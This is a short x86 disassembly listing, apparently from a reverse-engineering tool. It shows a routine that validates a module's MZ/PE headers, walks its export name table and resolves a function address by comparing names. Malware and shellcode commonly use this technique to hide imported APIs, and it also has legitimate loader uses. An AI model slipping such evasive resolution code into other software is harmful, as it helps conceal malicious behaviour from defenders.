mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x40e97f
mov eax, dword [ecx + 0x3c]
cmp dword [eax + ecx], 0x4550
jne 0x40e97f
mov eax, dword [eax + ecx + 0x78]
and dword [ebp - 4], 0
push ebx
add eax, ecx
mov ebx, dword [eax + 0x24]
push esi
mov esi, dword [eax + 0x20]
push edi
mov edi, dword [eax + 0x1c]
mov eax, dword [eax + 0x18]
add edi, ecx
add ebx, ecx
add esi, ecx
mov dword [ebp - 8], eax
test eax, eax
je 0x40e9e5
mov eax, dword [ebp - 4]
mov eax, dword [esi + eax*4]
add eax, dword [0x29193798]
mov edx, dword [0x29193338]
call fcn.0040e3a4
test eax, eax
je 0x40e9ec
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 8]
jb 0x40e9bf
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov eax, dword [ebp - 4]
movzx eax, word [ebx + eax*2]
mov eax, dword [edi + eax*4]
add eax, dword [0x29193798]
jmp 0x40e9e7